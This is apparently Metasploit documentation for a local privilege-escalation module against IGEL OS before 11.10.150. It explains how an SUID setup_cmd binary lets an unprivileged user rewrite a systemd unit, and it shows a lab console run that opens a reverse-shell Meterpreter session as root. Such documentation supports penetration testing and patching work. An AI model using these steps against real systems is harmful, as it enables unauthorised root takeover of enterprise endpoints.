## Vulnerable Application

IGEL OS < 11.10.150 with a `shell` or `meterpreter` session.

IGEL OS is a Linux-based operating system designed for endpoint devices,
primarily used in enterprise environments to provide secure access to virtual
workspaces. It focuses on enhancing security, simplifying management, and
improving user productivity across various sectors, including healthcare and
finance.

In previous versions, `/config/bin/setup_cmd` was an SUID binary, with a preset
list of files it could execute with elevated permissions. This allowed a bash
script `/config/bin/network` to be executed as root, which in turn called
`systemctl $1 network-manager.service`, allowing a systemd unit to be modified
by an unprivileged user.

The network service is restarted after the systemd unit configuration is updated,
causing a brief notification and loss of network connectivity. Once restarted,
a session should be created as root.

All files on disk (including the payload) are registered for clean-up.

## Verification Steps

1. Get a `shell` or `meterpreter` session on an IGEL OS < 11.10.150 host
2. Use: `use exploit/linux/local/igel_network_priv_esc`
3. Set: `set SESSION <id>`, replacing `<id>` with the session ID
4. Set payload options, e.g. `LHOST`
5. Exploit: `run`
6. A new session is created as root

## Options

None.

## Scenarios

```
msf exploit(linux/local/igel_network_priv_esc) > set SESSION 1
SESSION => 1
msf exploit(linux/local/igel_network_priv_esc) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
msf exploit(linux/local/igel_network_priv_esc) > run
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Uploading payload to target
[*] Writing config to target
[*] Applying service config
[*] Restarting service
[*] Sending stage (3090404 bytes) to 192.168.56.7
[+] Deleted /tmp/WHQCVmDB
[+] Deleted /tmp/fylZWXSF
[+] Deleted /tmp/LBnyPcKt
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.7:51938) at 2025-11-17 16:00:48 +0000

meterpreter > getuid
Server username: root
```
